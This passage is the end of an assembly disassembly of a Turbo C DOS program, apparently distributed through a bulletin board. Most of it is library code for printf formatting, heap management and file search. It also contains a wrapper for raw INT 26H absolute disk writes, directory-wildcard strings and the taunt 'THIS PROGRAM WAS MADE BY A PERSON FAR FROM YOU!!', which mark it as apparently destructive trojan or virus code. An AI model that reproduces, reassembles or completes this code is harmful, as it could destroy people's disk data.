MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV DI,[BP+4]
TEST WORD PTR SS:DATA_126E[BP],20H ; (817F:FF6A=0)
JNZ LOC_210 ; Jump if not zero
MOV DI,[DI]
ADD WORD PTR [BP+4],2
PUSH DS
POP ES
OR DI,DI ; Zero ?
JMP SHORT LOC_211 ; (11E4)
LOC_210:
LES DI,DWORD PTR [DI] ; Load 32 bit ptr
ADD WORD PTR [BP+4],4
MOV AX,ES
OR AX,DI
LOC_211:
JNZ LOC_212 ; Jump if not zero
PUSH DS
POP ES
MOV DI,3DEH
LOC_212:
CALL SUB_40 ; (0EC8)
CMP CX,SS:DATA_131E[BP] ; (817F:FF72=0)
JBE LOC_213 ; Jump if below or =
MOV CX,SS:DATA_131E[BP] ; (817F:FF72=0)
LOC_213:
JMP LOC_223 ; (1294)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_214:
MOV [BP+6],SI
MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV DI,[BP+4]
MOV CX,SS:DATA_131E[BP] ; (817F:FF72=0)
OR CX,CX ; Zero ?
JGE LOC_215 ; Jump if > or =
MOV CX,6
LOC_215:
PUSH DI
PUSH CX
LEA BX,[BP-85H] ; Load effective addr
PUSH BX
PUSH DX
MOV AX,1
AND AX,SS:DATA_126E[BP] ; (817F:FF6A=0)
PUSH AX
MOV AX,SS:DATA_126E[BP] ; (817F:FF6A=0)
TEST AX,80H
JZ LOC_216 ; Jump if zero
MOV AX,2
MOV WORD PTR [BP-2],4
JMP SHORT LOC_218 ; (124A)
LOC_216:
TEST AX,100H
JZ LOC_217 ; Jump if zero
MOV AX,8
MOV WORD PTR [BP-2],0AH
JMP SHORT LOC_218 ; (124A)
LOC_217:
MOV WORD PTR [BP-2],8
MOV AX,6
LOC_218:
PUSH AX
CALL SUB_37 ; (0E85)
MOV AX,[BP-2]
ADD [BP+4],AX
PUSH SS
POP ES
LEA DI,[BP-85H] ; Load effective addr
LOC_219:
TEST WORD PTR SS:DATA_126E[BP],8 ; (817F:FF6A=0)
JZ LOC_221 ; Jump if zero
MOV DX,SS:DATA_130E[BP] ; (817F:FF70=0)
OR DX,DX ; Zero ?
JLE LOC_221 ; Jump if < or =
LOC_220:
CALL SUB_40 ; (0EC8)
SUB DX,CX
JLE LOC_221 ; Jump if < or =
MOV SS:DATA_133E[BP],DX ; (817F:FF76=0)
LOC_221:
MOV AL,SS:DATA_132E[BP] ; (817F:FF75=0)
OR AL,AL ; Zero ?
JZ LOC_222 ; Jump if zero
CMP BYTE PTR ES:[DI],2DH ; '-'
JE LOC_222 ; Jump if equal
SUB WORD PTR SS:DATA_133E[BP],1 ; (817F:FF76=0)
ADC WORD PTR SS:DATA_133E[BP],0 ; (817F:FF76=0)
DEC DI
MOV ES:[DI],AL
LOC_222:
CALL SUB_40 ; (0EC8)
LOC_223:
MOV SI,DI
MOV DI,SS:DATA_127E[BP] ; (817F:FF6C=0)
MOV BX,SS:DATA_130E[BP] ; (817F:FF70=0)
MOV AX,5
AND AX,SS:DATA_126E[BP] ; (817F:FF6A=0)
CMP AX,5
JNE LOC_224 ; Jump if not equal
MOV AH,SS:DATA_128E[BP] ; (817F:FF6E=0)
CMP AH,6FH ; 'o'
JNE LOC_225 ; Jump if not equal
CMP WORD PTR SS:DATA_133E[BP],0 ; (817F:FF76=0)
JG LOC_224 ; Jump if >
MOV WORD PTR SS:DATA_133E[BP],1 ; (817F:FF76=0)
LOC_224:
JMP SHORT LOC_227 ; (12E1)
DB 90H
LOC_225:
CMP AH,78H ; 'x'
JE LOC_226 ; Jump if equal
CMP AH,58H ; 'X'
JNE LOC_227 ; Jump if not equal
LOC_226:
OR WORD PTR SS:DATA_126E[BP],40H ; (817F:FF6A=0)
DEC BX
DEC BX
SUB WORD PTR SS:DATA_133E[BP],2 ; (817F:FF76=0)
JGE LOC_227 ; Jump if > or =
MOV WORD PTR SS:DATA_133E[BP],0 ; (817F:FF76=0)
LOC_227:
ADD CX,SS:DATA_133E[BP] ; (817F:FF76=0)
TEST WORD PTR SS:DATA_126E[BP],2 ; (817F:FF6A=0)
JNZ LOC_230 ; Jump if not zero
JMP SHORT LOC_229 ; (12F5)
LOC_228:
MOV AL,20H ; ' '
CALL SUB_41 ; (0ED5)
DEC BX
LOC_229:
CMP BX,CX
JG LOC_228 ; Jump if >
LOC_230:
TEST WORD PTR SS:DATA_126E[BP],40H ; (817F:FF6A=0)
JZ LOC_231 ; Jump if zero
MOV AL,30H ; '0'
CALL SUB_41 ; (0ED5)
MOV AL,SS:DATA_128E[BP] ; (817F:FF6E=0)
CALL SUB_41 ; (0ED5)
LOC_231:
MOV DX,SS:DATA_133E[BP] ; (817F:FF76=0)
OR DX,DX ; Zero ?
JLE LOC_236 ; Jump if < or =
SUB CX,DX
SUB BX,DX
MOV AL,ES:[SI]
CMP AL,2DH ; '-'
JE LOC_232 ; Jump if equal
CMP AL,20H ; ' '
JE LOC_232 ; Jump if equal
CMP AL,2BH ; '+'
JNE LOC_233 ; Jump if not equal
LOC_232:
LODS BYTE PTR ES:[SI] ; String [si] to al
CALL SUB_41 ; (0ED5)
DEC CX
DEC BX
LOC_233:
XCHG CX,DX
JCXZ LOC_235 ; Jump if cx=0
LOCLOOP_234:
MOV AL,30H ; '0'
CALL SUB_41 ; (0ED5)
LOOP LOCLOOP_234 ; Loop if cx > 0
LOC_235:
XCHG CX,DX
LOC_236:
JCXZ LOC_239 ; Jump if cx=0
SUB BX,CX
LOCLOOP_237:
LODS BYTE PTR ES:[SI] ; String [si] to al
MOV [DI],AL
INC DI
DEC BYTE PTR [BP-53H]
JG LOC_238 ; Jump if >
CALL SUB_42 ; (0EDD)
LOC_238:
LOOP LOCLOOP_237 ; Loop if cx > 0
LOC_239:
OR BX,BX ; Zero ?
JLE LOC_241 ; Jump if < or =
MOV CX,BX
LOCLOOP_240:
MOV AL,20H ; ' '
CALL SUB_41 ; (0ED5)
LOOP LOCLOOP_240 ; Loop if cx > 0
LOC_241:
JMP LOC_165 ; (0F0D)
SUB_39 ENDP
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_242:
MOV [BP+6],SI
MOV DI,[BP+4]
TEST WORD PTR SS:DATA_126E[BP],20H ; (817F:FF6A=0)
JNZ LOC_243 ; Jump if not zero
MOV DI,[DI]
ADD WORD PTR [BP+4],2
PUSH DS
POP ES
JMP SHORT LOC_244 ; (137D)
LOC_243:
LES DI,DWORD PTR [DI] ; Load 32 bit ptr
ADD WORD PTR [BP+4],4
LOC_244:
MOV AX,50H
SUB AL,[BP-53H]
ADD AX,[BP-56H]
MOV ES:[DI],AX
JMP LOC_164 ; (0F09)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_245:
MOV SI,SS:DATA_134E[BP] ; (817F:FF78=0)
MOV DI,SS:DATA_127E[BP] ; (817F:FF6C=0)
MOV AL,25H ; '%'
LOC_246:
CALL SUB_41 ; (0ED5)
LODSB ; String [si] to al
OR AL,AL ; Zero ?
JNZ LOC_246 ; Jump if not zero
LOC_247:
CMP BYTE PTR [BP-53H],50H ; 'P'
JGE LOC_248 ; Jump if > or =
CALL SUB_42 ; (0EDD)
LOC_248:
POP ES
MOV AX,[BP-56H]
JMP SHORT LOC_249 ; (13AD)
LOC_249:
POP DI
POP SI
MOV SP,BP
POP BP
RETN 8
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_43 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV SI,[BP+4]
CMP WORD PTR DS:DATA_36E,0 ; (7FC4:04A6=8C40H)
JE LOC_250 ; Jump if equal
MOV BX,DS:DATA_36E ; (7FC4:04A6=8C40H)
MOV DI,[BX+6]
MOV BX,DS:DATA_36E ; (7FC4:04A6=8C40H)
MOV [BX+6],SI
MOV [DI+4],SI
MOV [SI+6],DI
MOV AX,DS:DATA_36E ; (7FC4:04A6=8C40H)
MOV [SI+4],AX
JMP SHORT LOC_251 ; (13EA)
LOC_250:
MOV DS:DATA_36E,SI ; (7FC4:04A6=8C40H)
MOV [SI+4],SI
MOV [SI+6],SI
LOC_251:
POP DI
POP SI
POP BP
RETN
SUB_43 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_44 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,2
PUSH SI
PUSH DI
MOV SI,[BP+6]
MOV DI,[BP+4]
MOV AX,[SI]
ADD [DI],AX
MOV AX,DS:DATA_35E ; (7FC4:04A4=0AC26H)
CMP AX,SI
JNE LOC_252 ; Jump if not equal
MOV DS:DATA_35E,DI ; (7FC4:04A4=0AC26H)
JMP SHORT LOC_253 ; (141A)
LOC_252:
MOV AX,[SI]
ADD AX,SI
MOV [BP-2],AX
MOV BX,[BP-2]
MOV [BX+2],DI
LOC_253:
PUSH SI
CALL SUB_15 ; (04EB)
POP CX
POP DI
POP SI
MOV SP,BP
POP BP
RETN
SUB_44 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_45 PROC NEAR
PUSH SI
MOV AX,DS:DATA_37E ; (7FC4:04A8=87C5H)
CMP AX,DS:DATA_35E ; (7FC4:04A4=0AC26H)
JNE LOC_254 ; Jump if not equal
PUSH WORD PTR DS:DATA_37E ; (7FC4:04A8=87C5H)
CALL SUB_22 ; (0690)
POP CX
XOR AX,AX ; Zero register
MOV DS:DATA_35E,AX ; (7FC4:04A4=0AC26H)
MOV DS:DATA_37E,AX ; (7FC4:04A8=87C5H)
JMP SHORT LOC_258 ; (147C)
LOC_254:
MOV BX,DS:DATA_35E ; (7FC4:04A4=0AC26H)
MOV SI,[BX+2]
TEST WORD PTR [SI],1
JNZ LOC_257 ; Jump if not zero
PUSH SI
CALL SUB_15 ; (04EB)
POP CX
CMP SI,DS:DATA_37E ; (7FC4:04A8=87C5H)
JNE LOC_255 ; Jump if not equal
XOR AX,AX ; Zero register
MOV DS:DATA_35E,AX ; (7FC4:04A4=0AC26H)
MOV DS:DATA_37E,AX ; (7FC4:04A8=87C5H)
JMP SHORT LOC_256 ; (1469)
LOC_255:
MOV AX,[SI+2]
MOV DS:DATA_35E,AX ; (7FC4:04A4=0AC26H)
LOC_256:
PUSH SI
CALL SUB_22 ; (0690)
POP CX
JMP SHORT LOC_258 ; (147C)
LOC_257:
PUSH WORD PTR DS:DATA_35E ; (7FC4:04A4=0AC26H)
CALL SUB_22 ; (0690)
POP CX
MOV DS:DATA_35E,SI ; (7FC4:04A4=0AC26H)
LOC_258:
POP SI
RETN
SUB_45 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_46 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,2
PUSH SI
PUSH DI
MOV SI,[BP+4]
DEC WORD PTR [SI]
MOV AX,[SI]
ADD AX,SI
MOV [BP-2],AX
MOV DI,[SI+2]
TEST WORD PTR [DI],1
JNZ LOC_259 ; Jump if not zero
CMP SI,DS:DATA_37E ; (7FC4:04A8=87C5H)
JE LOC_259 ; Jump if equal
MOV AX,[SI]
ADD [DI],AX
MOV BX,[BP-2]
MOV [BX+2],DI
MOV SI,DI
JMP SHORT LOC_260 ; (14B4)
LOC_259:
PUSH SI
CALL SUB_43 ; (13B5)
POP CX
LOC_260:
MOV BX,[BP-2]
TEST WORD PTR [BX],1
JNZ LOC_261 ; Jump if not zero
PUSH WORD PTR [BP-2]
PUSH SI
CALL SUB_44 ; (13EE)
POP CX
POP CX
LOC_261:
POP DI
POP SI
MOV SP,BP
POP BP
RETN
SUB_46 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_47 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
MOV SI,[BP+4]
OR SI,SI ; Zero ?
JNZ LOC_262 ; Jump if not zero
JMP SHORT LOC_264 ; (14F0)
LOC_262:
MOV AX,SI
ADD AX,0FFFCH
MOV SI,AX
CMP SI,DS:DATA_35E ; (7FC4:04A4=0AC26H)
JNE LOC_263 ; Jump if not equal
CALL SUB_45 ; (1425)
JMP SHORT LOC_264 ; (14F0)
LOC_263:
PUSH SI
CALL SUB_46 ; (147E)
POP CX
LOC_264:
POP SI
POP BP
RETN
SUB_47 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_48 PROC NEAR
PUSH BP
MOV BP,SP
MOV AX,0DCBH
PUSH AX
PUSH WORD PTR [BP+4]
PUSH WORD PTR [BP+6]
LEA AX,[BP+8] ; Load effective addr
PUSH AX
CALL SUB_39 ; (0EB4)
JMP SHORT LOC_265 ; (1509)
LOC_265:
POP BP
RETN
SUB_48 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_49 PROC NEAR
PUSH BP
MOV BP,SP
MOV AH,1AH
MOV DX,[BP+6]
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV AH,4EH ; 'N'
MOV CX,[BP+8]
MOV DX,[BP+4]
INT 21H ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
JC LOC_266 ; Jump if carry Set
XOR AX,AX ; Zero register
JMP SHORT LOC_267 ; (152B)
LOC_266:
PUSH AX
CALL SUB_10 ; (031F)
JMP SHORT LOC_267 ; (152B)
LOC_267:
POP BP
RETN
SUB_49 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_50 PROC NEAR
PUSH BP
MOV BP,SP
MOV AH,1AH
MOV DX,[BP+4]
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV AH,4FH ; 'O'
INT 21H ; DOS Services ah=function 4Fh
; find next filename match
JC LOC_268 ; Jump if carry Set
XOR AX,AX ; Zero register
JMP SHORT LOC_269 ; (1547)
LOC_268:
PUSH AX
CALL SUB_10 ; (031F)
JMP SHORT LOC_269 ; (1547)
LOC_269:
POP BP
RETN
SUB_50 ENDP
DB 55H, 8BH, 0ECH, 0FFH, 76H, 6
DB 0FFH, 76H, 8, 8BH, 5EH, 4
DB 0FFH, 37H, 0E8H, 52H, 0F6H, 8BH
DB 0E5H, 8BH, 46H, 6, 8BH, 5EH
DB 4, 1, 7, 8BH, 1FH, 0C6H
DB 7, 0, 33H, 0C0H, 0EBH, 0
DB 5DH, 0C2H, 6, 0
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_51 PROC NEAR
PUSH BP
MOV BP,SP
MOV BX,[BP+4]
MOV BYTE PTR [BX],0
MOV AX,1549H
PUSH AX
LEA AX,[BP+4] ; Load effective addr
PUSH AX
PUSH WORD PTR [BP+6]
LEA AX,[BP+8] ; Load effective addr
PUSH AX
CALL SUB_39 ; (0EB4)
JMP SHORT LOC_270 ; (158E)
LOC_270:
POP BP
RETN
SUB_51 ENDP
DB 55H, 8BH, 0ECH, 8BH, 5EH, 4
DB 0C6H, 7, 0, 0B8H, 49H, 15H
DB 50H, 8DH, 46H, 4, 50H, 0FFH
DB 76H, 6, 0FFH, 76H, 8, 0E8H
DB 0AH, 0F9H, 0EBH, 0, 5DH, 0C3H
DB 55H, 8BH, 0ECH, 56H, 57H, 8AH
DB 46H, 4, 8BH, 4EH, 6, 8BH
DB 56H, 8, 8BH, 5EH, 0AH, 0CDH
DB 25H, 5BH, 72H, 4, 33H, 0C0H
DB 0EBH, 8, 0A3H, 94H, 0, 0B8H
DB 0FFH, 0FFH, 0EBH, 0
LOC_271:
POP DI
POP SI
POP BP
RETN
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_52 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV AL,[BP+4]
MOV CX,[BP+6]
MOV DX,[BP+8]
MOV BX,[BP+0AH]
INT 26H ; Absolute disk write, drive al
POP BX
JC LOC_272 ; Jump if carry Set
XOR AX,AX ; Zero register
JMP SHORT LOC_273 ; (15F6)
LOC_272:
MOV DATA_78,AX ; (8134:0094=0)
MOV AX,0FFFFH
JMP SHORT LOC_273 ; (15F6)
LOC_273:
POP DI
POP SI
POP BP
RETN
SUB_52 ENDP
DB 0, 0, 0, 0, 0, 0
SEG_A ENDS
;-------------------------------------------------------------- SEG_B ----
SEG_B SEGMENT PARA PUBLIC
ASSUME CS:SEG_B , DS:SEG_B , SS:STACK_SEG_C
DB 0, 0, 0, 0
DB 'Turbo-C - Copyright (c) 1988 Bor'
DB 'land Intl.'
DB 0
DB 'Null pointer assignment', 0DH, 0AH
DB 'Divide error', 0DH, 0AH, 'Abnorm'
DB 'al program termination', 0DH, 0AH
DATA_65 DW 0
DATA_66 DW 0
DATA_67 DW 0
DATA_68 DW 0
DATA_69 DW 0
DATA_70 DW 0
DATA_71 DW 0
DATA_72 DW 0
DB 0, 0, 0, 0, 0, 0
DATA_73 DD 00000H
DATA_75 DW 0
DATA_76 DW 0
DATA_77 DW 0
DATA_78 DW 0
DATA_79 DW 0
DB 0, 0, 0, 0, 0AAH, 4
DATA_80 DW 4AAH
DB 0AAH, 4, 0
DB 0
DATA_82 DW 0
DB 0, 0
DATA_83 DW 0
DB 0, 0
DATA_84 DW 0
DB 231 DUP (0)
DB 25H, 73H, 5CH, 25H, 73H, 0
DB 2AH, 2EH, 2AH, 0, 5CH, 2AH
DB 2EH, 2AH, 0
DB 'THIS PROGRAM WAS MADE BY A PERSO'
DB 'N FAR FROM YOU!!'
DB 0, 0, 0, 0, 0, 13H
DB 2, 2, 4, 5, 6, 8
DB 8, 8, 14H, 15H, 5, 13H
DB 0FFH, 16H, 5, 11H, 2, 0FFH
DB 12 DUP (0FFH)
DB 5, 5, 0FFH
DB 15 DUP (0FFH)
DB 0FH, 0FFH, 23H, 2, 0FFH, 0FH
DB 0FFH, 0FFH, 0FFH, 0FFH, 13H, 0FFH
DB 0FFH, 2, 2, 5, 0FH, 2
DB 0FFH, 0FFH, 0FFH, 13H
DB 8 DUP (0FFH)
DB 23H, 0FFH, 0FFH, 0FFH, 0FFH, 23H
DB 0FFH, 13H, 0FFH, 0, 5AH, 3
DB 5AH, 3, 5AH, 3
DATA_88 DW 0
DATA_89 DW 1000H
DB 0, 0, 0, 0, 9, 2
DB 10 DUP (0)
DB 3EH, 2, 0, 0, 0AH, 2
DB 1
DB 9 DUP (0)
DB 4EH, 2, 0, 0, 2, 2
DB 2
DB 9 DUP (0)
DB 5EH, 2, 0, 0, 43H, 2
DB 3, 0
DB 8 DUP (0)
DB 6EH, 2, 0, 0, 42H, 2
DB 4, 0
DB 8 DUP (0)
DB 7EH, 2, 0, 0, 0, 0
DB 0FFH, 0
DB 8 DUP (0)
DB 8EH, 2, 0, 0, 0, 0
DB 0FFH, 0
DB 8 DUP (0)
DB 9EH, 2, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 0AEH, 2, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 0BEH, 2, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 0CEH, 2, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 0DEH, 2, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 0EEH, 2, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 0FEH, 2, 0, 0, 0, 0
DB 0FFH, 0
DB 8 DUP (0)
DB 0EH, 3, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 1EH, 3, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 2EH, 3, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 3EH, 3, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 4EH, 3, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 5EH, 3, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 6EH, 3, 1, 20H, 2, 20H
DB 2, 20H, 4, 0A0H, 2, 0A0H
DB 30 DUP (0FFH)
DB 0, 0, 0, 0
DB 'print scanf : floating point for'
DB 'mats not linked', 0DH, 0AH
DB 0, 0DH, 0, 28H, 6EH, 75H
DB 6CH, 6CH, 29H, 0
DB '0123456789ABCDEF'
DATA_111 DB 0 ; Data table (indexed access)
DB 14H, 14H, 1, 14H, 15H, 14H
DB 14H, 14H, 14H, 2, 0, 14H
DB 3, 4, 14H, 9, 5
DB 8 DUP (5)
DB 11 DUP (14H)
DB 0FH, 17H, 0FH, 8, 14H, 14H
DB 14H, 7, 14H, 16H
DB 9 DUP (14H)
DB 0DH, 14H, 14H
DB 8 DUP (14H)
DB 10H, 0AH, 0FH, 0FH, 0FH, 8
DB 0AH, 14H, 14H, 6, 14H, 12H
DB 0BH, 0EH, 14H, 14H, 11H, 14H
DB 0CH, 14H, 14H
DB 0DH
DB 7 DUP (14H)
DB 0
DATA_117 DW 1D2H
DB 0D2H, 1, 0D9H, 1
;*TA_118 DW OFFSET SUB_53 ;*(0BCD)
DB 0CDH, 0BH
DB 0D2H, 0BH, 0D2H, 0BH, 0D2H, 0BH
DB 0
DB 63 DUP (0)
DATA_120 DW 0
DATA_121 DW 0
DATA_122 DW 0
DB 0, 0, 0, 0, 0, 0
SEG_B ENDS
;--------------------------------------------------------- STACK_SEG_C ---
STACK_SEG_C SEGMENT PARA STACK
DB 128 DUP (0)
STACK_SEG_C ENDS
END START
Downloaded From P-80 International Information Systems 304-744-2253